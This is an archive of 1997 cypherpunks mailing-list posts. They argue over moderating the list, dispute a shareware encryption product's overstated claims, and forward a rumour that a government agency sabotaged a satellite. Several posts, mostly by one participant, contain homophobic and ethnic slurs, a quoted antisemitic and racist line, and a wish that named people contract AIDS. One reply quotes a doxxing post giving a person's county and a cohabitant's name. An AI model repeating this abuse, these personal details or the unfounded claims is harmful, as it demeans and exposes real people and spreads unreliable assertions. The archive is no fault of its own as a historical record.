#soc.culture.russian.moderated. It covers period between the 
#previous report and the current one, ending 
#on Tue Dec 31 19:05:01 EST 1996.
#
#Note that we do not report the number of articles cancelled
#after they got approved, because the cancellations are done
#manually. Typically messages get cancelled by requests of
#posters themselves.
#
#Lastly, the statistics below are skewed towards higher numbers because
#there are always some test messages from moderators themselves who
#approve and reject them to make sure that our robomoderator functions
#properly.
#
#
#
#Approved:       1705    messages (of them, 1504 automatically)
#Rejected:       129     messages
#Preapproved:    39      new posters
#
#-----BEGIN PGP SIGNATURE-----
#Version: 2.6.2
#
#iQEVAwUBMsmqLVeH1q6rtVT1AQHMNgf7BDSDpDilnCyr3IihDGeOz1Mjp0KNhkGl
#sj/Dsz6+aovlUBgt/5dXg/Dq/114QLSJ9Qynlep5Y52OQdzCsI4YZWB8Sul36Nxp
#FdqEXDqSJKG4RlhvKqEscpywsRUjaU5T7fOU3bFZ9HO88CIHcTsHxyXYXgYK9lCw
#AFJCHWhFxgUngwABo8pwaQ9VYb3J7lz4aeCAf7zfcPiOYEX4WKWPLYdbJidxL5AF
#LcmExxKdcCzzYIMgLklu/dBtln0mXXdTtbG8V8sDqQtjh8yLEdpV2JBKnPPE2YHd
#8VEOLMQ7Bg38f+AZQAaLwlNB1JXLAvDKwDUT3oeIkcSllGV4wi7O1A==
#=YvQK
#-----END PGP SIGNATURE-----
#


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jake_Spaulding@holderness.org (Jake Spaulding)
Date: Sat, 11 Jan 1997 09:22:37 -0800 (PST)
To: Moesch@aol.com
Subject: Remove
In-Reply-To: <199701100650.BAA12991@newman.cris.com>
Message-ID: <61406.5407004@holderness.org>
MIME-Version: 1.0
Content-Type: text/plain



This message sent using the FirstClass SMTP/NNTP Gateway for Mac OS.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 11 Jan 1997 09:06:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: IMDMP 8192 PKCS and IMDMP Summary
Message-ID: <970111120551_1074845300@emout20.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

You have probably read a few of my past messages about UDCM and IMDMP. The
variation of IMDMP implemented within UDCM V2.0 and UDCM V3.0 does not
include a public key cryptosystem. However, on March 1st, 1997, new versions
of UDCM and IMDMP will be released that do support the public key
cryptosystem method. The future versions will also support multi-party key
integration features, four platform independent random number generator
algorithms, as well as 1024 (8192 bit) keys. Note that the current version of
IMDMP only allows 256 byte (1024) bit keys. The current shareware version and
the future shareware version of UDCM will still only allow 5 byte (40 bit)
keys so as to comply with ITAR unless a key recovery infrastructure is
established. A public key directory infrastructure is being considered for
development as well. Also note that versions of UDCM are being planned for
the UNIX, DOS, and Macintosh System platforms.

There are a few major mistakes in a couple of my previous delegated messages.
An end-user application that supports IMDMP will not be released until March
1st, 1997. A detailed description of IMDMP will not be released as planned,
but, instead, the undocumented primary source code of UDCM (containing the
IMDMP encryption algorithm) will be released on February 1st, 1997. A
partially detailed summary of the IMDMP is now included in VENDOR.DOC file of
the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
keys to 50 bits so as to comply with the latest ITAR details. The extensively
confusing exportation restrictions sections of UDCM's documentation were
modified as well.

I am extremely sorry about the apparently extraneous information that is
present in a few of my first messages to this mailing list. Such a negative
level feedback was not anticipated. I do admit that single key encryption
methods are not too comparable to PKCS methods. What I was referring to when
I said IMDMP is more advanced than RSA, etc. is the actual encryption
procedure itself, not the way keys are secured. Again, irrashional claims
were not intended at all. The amount of analytical research invested in IMDMP
was thought to be sufficient.

By the way, has anyone out there even tried using UDCM to encrypt a file or
two? I do not know how some of you can say that IMDMP is a simple XOR-ing and
AND-ing algorithm without trying it first. I find it extremely hard to
believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
through all of this ritualistic screening complexity too. (Please do correct
me if I am wrong.)

(For the record: DataET Research's promotional agent has been fired.)

Again, the web site address of UDCM is:
http://members.aol.com/dataetrsch/udcm.html. The web site includes has a link
to the VENDOR.DOC file which includes the aforesaid updated information.
UDCMV20.ZIP is currently unavailable on the web site as the software is
undergoing additional security modifications.

By the way, the web page's ugly background his been removed.

The IMDMP encryption algorithm itself combines various simple and complex
methods to secure digital data: standard randomized and fixed substitution,
standard randomized and fixed AND and XOR logic, integrated and interlaced
randomized XOR logic, NOT logic, randomized and fixed bit shifting,
randomized transposition scrambling, linear sequential bit incrementation and
decrementation, integrated and interlaced randomized and fixed byte
dependency structuring, sequential byte pyramid structuring, asymmetric
non-linear chaos and complexity based binary selection equation key
integration, anomalous key bit factoring, and continuous key bit modification
structuring. Sub-algorithms of IMDMP are basically additional applications of
one or more of the aforesaid techniques.

Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
messages to DataET Research that do not contain the text "NO FLAME" somewhere
in the subject heading will be ignored completely. If a message is a indeed
flame, the associated server's administrator will be contacted, and a
complaint will be filed accordingly.

Thank you very much for your time.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 11 Jan 1997 10:10:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Satellite Gone (fwd)
Message-ID: <199701111813.MAA13457@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

I just got this a few minutes ago and thought it migh be interesting. For
obvious reasons I am not going to identify the source.

Forwarded message:

> Date: Sat, 11 Jan 1997 11:46:51 +0000
> To: Ravage@einstein.ssz.com
> Subject: Satellite Gone
> 
> dunoo if this might interest you    
> Last night at apx 10:00 satellite T1 (Telstar 401) went away... 
> 
> Fox and ABC News one channel are now over on T2 (Telstar 402) located at
> 89 degrees west...
> Fox is on transponders 1,2,7,10,13,17,20,23
> ABC has feeds on 8,21,22
> 
> I haven't yet found where the UPN feeds are going to be....  
> 
> ATT Satellite Enginering support has said that it is gone with no hope
> of recovery...
> 
> Some ugly roumors are starting to float about alleged threats to FOX to
> do this by unnamed Gov agencys due to the negetive views that FOX had
> been reporting to the public about them....    
> 
> Have you heard anything??


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 11 Jan 1997 09:15:34 -0800 (PST)
To: CDAVIDSO@is.nmh.nmh.org
Subject: What!
Message-ID: <970111121453_201575793@emout18.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Excuse me?

What is faulty about IMDMP?

- Jeremy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Sat, 11 Jan 1997 13:28:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D7DE11.2BDE@gte.net>
Message-ID: <Pine.GUL.3.95.970111132128.21586B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For example, I think this message could have been worded in such a way that
it was on-topic. Dale really had to exert himself to make this a pure flame.
When he doesn't put so much effort into it, he's worth reading.

See also http://minerva.fileita.it/webitalia/netscum/gravesr0.html

- -rich

On Sat, 11 Jan 1997, Dale Thorn wrote:

> Rich Graves wrote:
> [snip]
> > I'd just like to say that as disgusting as I find most of Dale's posts,
> > I consider almost all of them appropriate for the list.
> > While I'd classify Dale's posts as among "worst of cypherpunks,"
> > IMO they are all at least *of* cypherpunks.
> 
> Rich, you have to have a mind to comment on my posts.  To call my
> posts disgusting, when I as a person am  1) Vastly more concerned
> about justice, truth, and openness than you, and  2) Vastly more
> intelligent than you, is pure ignorance and hypocrisy.
> 
> When you have nothing to say, you do the "attack against the man",
> which is a logical fallacy.  You and Sandfort can lie in bed together
> on that one.  Punk.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBMtgFrZNcNyVVy0jxAQHipAH/WS2VkTlWbf3ttMBUcq1sRXY1sJbNWJ5G
aR6T6ZWD0iJQVKD5X8/9QPUBl2MUdml3xS1f5MH+pynY63OEfPTg0Q==
=7+Je
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: System Administrator <root@uhf.wireless.net>
Date: Sat, 11 Jan 1997 10:43:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
In-Reply-To: <199701111710.JAA08932@slack.lne.com>
Message-ID: <Pine.BSF.3.95.970111134601.1009C-100000@uhf.wdc.net>
MIME-Version: 1.0
Content-Type: text/plain




> That was the original proposal.
> Now that the 'discussion' has come around full circle, can we
> stop talking about it and DO it?
> 

Oops!  Sorry. I lost this discussion in the middle of all the SPAM!

Yes, please do it!

Bernie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 11:54:47 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <970111120551_1074845300@emout20.mail.aol.com>
Message-ID: <199701111950.NAA07011@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> By the way, has anyone out there even tried using UDCM to encrypt a file or
> two? I do not know how some of you can say that IMDMP is a simple XOR-ing and
> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)

yes, you are wrong.

> (For the record: DataET Research's promotional agent has been fired.)

Can you prove that?

> 
> Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> messages to DataET Research that do not contain the text "NO FLAME" somewhere
> in the subject heading will be ignored completely. If a message is a indeed
> flame, the associated server's administrator will be contacted, and a
> complaint will be filed accordingly.

Jeremy, if you ignore them, how can you complain about them?

Something fishy is going on?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:00:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701111638.KAA05913@manifold.algebra.com>
Message-ID: <6yVD1D64w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
>
> I do not see what your example is supposed to illustrate.

They're supposed to illustrate what will happen soon on the moderated
"cypher punks" mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:00:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.BSF.3.95.970111110027.602A-100000@uhf.wdc.net>
Message-ID: <P2VD1D65w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bernie Doehner <bad@uhf.wireless.net> writes:

This is the jerk responsible for the mail loop last Xmas, which the Armenian
liar Ray Arachelian tried to blame on me.

> > However, I think that forming lists of "approved people" and "unapproved
> > people" and treating them differently is likely to do more harm than good,
> > even if we have nice software which does it very efficiently. I don't like
> > it for several reasons:
>
> Why jump to conclusions about the moderator's behavior?  Lets give the
> new moderators a chance - PLEASE!!!

That's what the German industrialists kept telling Hinderburg.
"Lets (sic) give Adolf Hitlet a chance - PLEASE!!!'

> I think our new moderators have been around long enough to know
> what's appropriate and what's not.

Hitler wrote _Mein Kampf in 1926 and came to power in 1933.

> Good luck Sandy and other moderator!


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:00:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701111710.LAA06067@manifold.algebra.com>
Message-ID: <R8VD1D66w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> when moderators receive messages for moderation, they would not see any
> header information indicating who wrote the message (this information
> would be in the packet that arrives to them, but it would be encrypted
> with Internal Traffic Key). This way, a moderator would not know if the
> message is, say, from Tim May or from Dr. Vulis, and would make their
> decisions (including decisions to preapprove) based solely on the
> message contents. That may give some way towards fairness.

If the content says: "Dr. Vulis is a crazy Russian Jew, don't tell him what
a petard is, and fuck the colored race", then the origin is pretty obvious.

> Note that another important feature of STUMP that we seem to overlook was
> designed specifically to address the problems of preapproved lists. This
> feature is the presence of "bad words list". This is a set of regular
> expressions, stored in a file, such that if incoming messages match
> these expressions, they would be considered "suspicious" even if they
> purport to be "From: " preapproved persons. That goes a long way towards
> security and fairness because now nobody (including, say, Paul Bradley
> along with Dr. Vulis or myself) would be able to call someone else
> "cocksucker" without review by human moderators.

But Plucky green would be able to call people "vermin", and "crazy Russian"
just like Igor is able to call his enemies "eunichs".

ObModeratorFodder: John Gilmore is a lying cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:30:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Satellite Gone (fwd)
In-Reply-To: <199701111813.MAA13457@einstein>
Message-ID: <2ZwD1D67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:
> > Last night at apx 10:00 satellite T1 (Telstar 401) went away...
...
> > Some ugly roumors are starting to float about alleged threats to FOX to
> > do this by unnamed Gov agencys due to the negetive views that FOX had
> > been reporting to the public about them....

Fox is on the "outside" where TimeWarner/Turner and Disney are on the "inside".
Fix tried to launch a cable news channel to compete against CNN.. TimeWarner
simply refused to carry it. :-)
What happens on "cypher punks" happens in the real world too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:30:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
Message-ID: <R5wD1D68w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone writes:

> Dr. Vulis,
>  A lot of things surrounding the upcoming 'moderation' of the
> CypherPunks list just don't seem to add up.

If you think their agenda is what I think it is, then it all adds up.

...
> some interesting algorithms clicked into place in regard to the
> grand 'moderation' experiment about to befall the CypherPunks.
>
>   I thought about the fact that you pissed the elite de la elite
> of the CypherPunks off to the extent that they shit in their own
> back yard--ie. these supreme libertarians unSCUMscribed you from
> the C'punks list.
>   They did exactly what every people's-defender/hidden-dictator
> has done from the beginning of time. They pointed their righteous
> libertarian fingers at a source of great evil which everyone must
> be protected from--you. (The reason 'pointing' is so important
> is so that those too dim to 'recognize' who their enemy is, will
> be able to 'stay with the concept' while they explain it.)
>   So now we have:
>     Ronald RayGun -----> Commies / The Red Menace
>     George Bush -----> Saddam / The Mother of All Evil
>     John Gilmore ----> Dr. DV K / The Spamming Homophobe
>
>  John was very eloquent in defining the 'threat' that you
> represent, and the 'abuse' that you represent, and, suddenly,
> there are a few good sheep saying, "By gosh, by golly, you're
> right. Now that you've pointed out that I'm being wrongly
> abused by this man, I see it all clearly now. Thank you for
> saving me."
>  Unfortunately, there were also those who didn't go for the
> 'feint', and posted missives simply stating, "Excuse me, John,
> nice try, but you've got some shit sticking to your shoe, there,
> despite your self-serving explaination of your actions."
>  ('I' don't have a 'personal' problem with the doc, I'm doing
> this for the good of 'everybody'.)
>
>  I suppose that might have been the end of it, had you gone
> quietly into the night. But, 'double' unfortunately, you hardly
> seemed to break stride in continuing to participate in the
> CypherPunk list.
>  So, now, after taking a 'firm hand' in 'saving' the CypherPunks
> from the Evil Dr. Vulis, Big John finds himself being ridiculed
> and laughed at for his ineffective and ineffectual public beheading
> of the 'enemy of the people'.
>   Suddenly, however, out of the blue, comes the answer to his
> prayers--a 'bigger' threat. CypherPunks is deluded with a
> mountain of email from 10,000 Laker's fans named Bubba. A genuine
> 'outside' spam attack, pissing everyone off. Then, a rash of
> 'Make $$$Money$$$ Fast' probing actions from 'more' outsiders.

So far, so good. Unfortunately mail loops happen every once in a while.
What was unusual about the one this list had about Xmastime was that
a) Ray Arachelian "officially" accused me of being responsible for it,
  and this lie has not been retracted by him or Gilmore or anyone.
b) the poster responsible for the maling loop (ufh.wirenet.net) just
  posted a rant in favor of moderation.

>   This time, John insulates himself with his 'front' man. The
> 'done-deal' announcement starts, "SANDY and I..."  With, of
> course, the standard govt-line, blah, blah, 'your input', blah,
> blah.
>
>   And, this time, the 'rubes' come out of the woodwork like flies
> on shit.
>   Suddenly, we have people giving a 'Vote of confidence..."
>   HOLD IT!!!
>   Nobody is 'voting', you stupid bastards. Read John and Sandy's
> lips...there 'is' no vote. You were 'told' what they are going
> to do, and you were 'told' that your preferences for the color
> of Vaseline they will use will be 'considered'.
>   Do the words 'denial' and 'self-delusion' set off any bells
> and whistles here?
>
>   At this very moment, in small rooms around the world, the
> heads of clandestine agencies are shouting at their people,
> "Why can't 'you' imbeciles pull off an operation like this?"
>
>   Notice, please, that John and Sandy have remained above the
> fray. They have been content, until very recently, to let the
> dogs tear at each other's throats (and let the 'voters' take
> part in self-delusional schemes and scenarios, constructing
> 'moderation systems' in-the-sky).
>   And now Sandy begins to step in, replying only to his
> 'supporters' (like a 'staged' political rally), gracefully
> accepting their kudos in his assumption of benevolent
> dictatorship. (Complete with assurances that there is no
> 'enemies list'.)

Too bad some hooligans break the ranks to shout to Dale: "Soon Sandy
will shut you up!"

>   If anyone had written up, a few weeks ago, a scenario such
> as this and posted it to the list, he would have been laughed
> out of cyberspace.
>   But today, it is a reality, and more--a 'classic' operation
> that will go down in history as a maneuver that ranks with
> the best of socio/political coups.

I think Gilmore's pretty transparent. Gilmore is running for the Internet
Soviet [Council] right now, so he doesn't want his lies and hypocricy
exposed on his own private forum.

ObModeratorFodder: I hope cocksuckers Gilmore and Sandfart give each other AIDS

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 12:57:04 -0800 (PST)
To: Evil se7en <se7en@dis.org>
Subject: Re: Some People Just Never Learn
In-Reply-To: <Pine.BSI.3.91.970111031545.8640A-100000@kizmiaz.dis.org>
Message-ID: <Pine.SUN.3.94.970111155242.5104B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997, Evil se7en wrote:

> So here's to you Gambit...This ought to keep you distracted long enough! Now 
> maybe I can go back to my reading list and fade back into obscurity.
> 
> XOXOXO!
> 
> se7en

> º Address:  
> º            SONOMA County                          Status:                    º

Others at primary address:

> º   MARLENE AGNEW                                                              º

Oh uh, watch it.  He lives with Spiro's sister!


--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 12:57:38 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <1.5.4.16.19970111130156.125fa0a0@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.94.970111155550.5104C-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997, Clay Olbon II wrote:

> Date: Sat, 11 Jan 1997 09:57:33 -0800
> From: Clay Olbon II <olbon@ix.netcom.com>
> To: Black Unicorn <unicorn@schloss.li>
> Cc: cypherpunks@toad.com
> Subject: Re: IMPORTANT: Additional information about UDCM.
> 
> BU,
> 
> At 12:06 AM 1/10/97 -0500, Black Unicorn wrote:
> >I dont really think anyone uses bytes to refer to key size, except perhaps
> >in Prime Number challenges (RSA-129).
> 
> I am pretty sure that the Prime Number challenges refer to the number of
> DECIMAl digits in the prime number.  

I stand corrected.

> 
> Otherwise excellent responses to the simplistic mumbo-jumbo.  Good to see
> you posting again!
> 
>         Clay
> *******************************************************
> Clay Olbon			    olbon@ix.netcom.com
> sys-admin, engineer, programmer, statistitian, etc.
> **********************************************tanstaafl
> 
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 12:59:38 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: What!
In-Reply-To: <970111121453_201575793@emout18.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970111155629.5104D-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> Date: Sat, 11 Jan 1997 12:14:54 -0500 (EST)
> From: DataETRsch@aol.com
> To: CDAVIDSO@is.nmh.nmh.org
> Cc: cypherpunks@toad.com
> Subject: What!
> 
> Excuse me?
> 
> What is faulty about IMDMP?

About everything we have been able to examine so far, including your
posting style, the marketing approach, the zero coupon bond offer (in
violation of SEC regulations) of the parent company, the (lack of)
demonstrated knowledge by the company "president."  Shall I continue?

> 
> - Jeremy
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 13:29:34 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <970111120551_1074845300@emout20.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970111161943.5104E-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> Hi,
> 
> You have probably read a few of my past messages about UDCM and IMDMP.

Unfortunately.
> include a public key cryptosystem. However, on March 1st, 1997, new versions
> of UDCM and IMDMP will be released that do support the public key
> cryptosystem method.

I hope your not violating any patents.  (Hint hint).

> There are a few major mistakes in a couple of my previous delegated messages.
> An end-user application that supports IMDMP will not be released until March
> 1st, 1997.

Why are you babbling to us now then?

> methods are not too comparable to PKCS methods. What I was referring to when
> I said IMDMP is more advanced than RSA, etc. is the actual encryption
> procedure itself, not the way keys are secured.

Uh, that doesn't help.  You still have no proof for this claim either.

> Again, irrashional claims
        ^^^^^^^^^^^

Oh boy.

> were not intended at all. The amount of analytical research invested in IMDMP
> was thought to be sufficient.

One expects more from a company asking for investors to the tune of 1.5
million.
 
> By the way, has anyone out there even tried using UDCM to encrypt a file or
> two?

Want to pay me to betatest?

> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)

Consider ourself corrected.  IDEA and Blowfish have been extensively
hashed through.  Flaws, most small and correctable, were revealed in that
process too.  (I believe one Blowfish implementation had more serious
problems which were exposed by this "ritualistic screening."

It's the only way to make cryptosystems secure.  Deal with it or find
another profession.  (Or simply sell it to people who have no clue about
the product).

> 
> (For the record: DataET Research's promotional agent has been fired.)
>

Gosh, who's left working at the company now?

> Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> messages to DataET Research that do not contain the text "NO FLAME" somewhere
> in the subject heading will be ignored completely. If a message is a indeed
> flame, the associated server's administrator will be contacted, and a
> complaint will be filed accordingly.

I don't expect you will see many messages.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 14:52:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
In-Reply-To: <Pine.BSF.3.95.970111134601.1009C-100000@uhf.wdc.net>
Message-ID: <7ZZD1D70w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


System Administrator <root@uhf.wireless.net> writes:

> > That was the original proposal.
> > Now that the 'discussion' has come around full circle, can we
> > stop talking about it and DO it?
> >
>
> Oops!  Sorry. I lost this discussion in the middle of all the SPAM!
>
> Yes, please do it!
>
> Bernie

A few weeks ago, every message sent to the "cypher punks" was re-sent
again and again and again by "crypto@uhf.wireless.net".  Ray Arachelian
officially blamed me for the mail loop and even complained to my upstream
feed about multiple copies of my articles. Ray's lies were never retracted
by Ray himself or John "cocksucker" Gilmore.

Now root@uhf.wireless.net posts multiple rants in favor of moderation.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 18:56:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.GUL.3.95.970111132128.21586B-100000@Networking.Stanford.EDU>
Message-ID: <32D83D80.6517@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> For example, I think this message could have been worded in such a way that
> it was on-topic. Dale really had to exert himself to make this a pure flame.
> When he doesn't put so much effort into it, he's worth reading.
> See also http://minerva.fileita.it/webitalia/netscum/gravesr0.html
> On Sat, 11 Jan 1997, Dale Thorn wrote:
> > [snip]
> > Rich, you have to have a mind to comment on my posts.  To call my
> > posts disgusting, when I as a person am  1) Vastly more concerned
> > about justice, truth, and openness than you, and  2) Vastly more
> > intelligent than you, is pure ignorance and hypocrisy.
> > When you have nothing to say, you do the "attack against the man",
> > which is a logical fallacy.  You and Sandfort can lie in bed together
> > on that one.  Punk.

This was a rather harsh reply.  Thank you (I think) for whatever
allowance you have seen fit to give me.  OTOH, I'd suggest for Rich
and all of the pro-Sandy faction that they sit on their replies for
a couple of hours before hitting "send", just in case the emotional
(not passionate, there's a difference) content needs a little editing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 14:50:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D7D8CA.3ADF@gte.net>
Message-ID: <uX2D1D71w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Greg Broiles wrote:
> > At 10:49 PM 1/10/97 -0800, Lucky Green wrote:
>
> > I think that the human moderator solution suffers less from these problems;
> > in general, it's a well-tested solution to the "what about off-topic
> > assholes?" problem. It's not perfect, but it does work, more or less; it's
> > easy to understand, easy to implement, and requires no software changes on
> > the users' end.
>
> Yeah, Greg, we all hate those pesky asshole-types.  But what do you do,
> Greg, when the *moderator* is the pesky asshole-type?  Bend over, huh?

I dug up a few Sandy e-mails from my archives. Does the prospective moderator's
propensity to describe his enemies' words as "logical fallacy" and "illogical
claptrap" remind you of one paranoid anonymous control freak who used to spell
his stupid nym in lowercase and then flamed me when I quoted it verbatim?

============================================================================
]From sandfort@crl.com  Wed Sep 18 11:09:58 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Wed, 18 Sep 96 20:39:18 EDT
]	for dlv
]Received: from crl14.crl.com by mail.crl.com with SMTP id AA15749
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Wed, 18 Sep 1996 08:10:29 -0700
]Received: by crl14.crl.com id AA10349
]  (5.65c/IDA-1.5); Wed, 18 Sep 1996 08:04:08 -0700
]Date: Wed, 18 Sep 1996 08:04:07 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Cc: cypherpunks@toad.com
]Subject: Re: A Bizarre Increase in the Ad Hominems Here
]In-Reply-To: <TZ0FuD105w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960918075839.10102D-100000@crl14.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
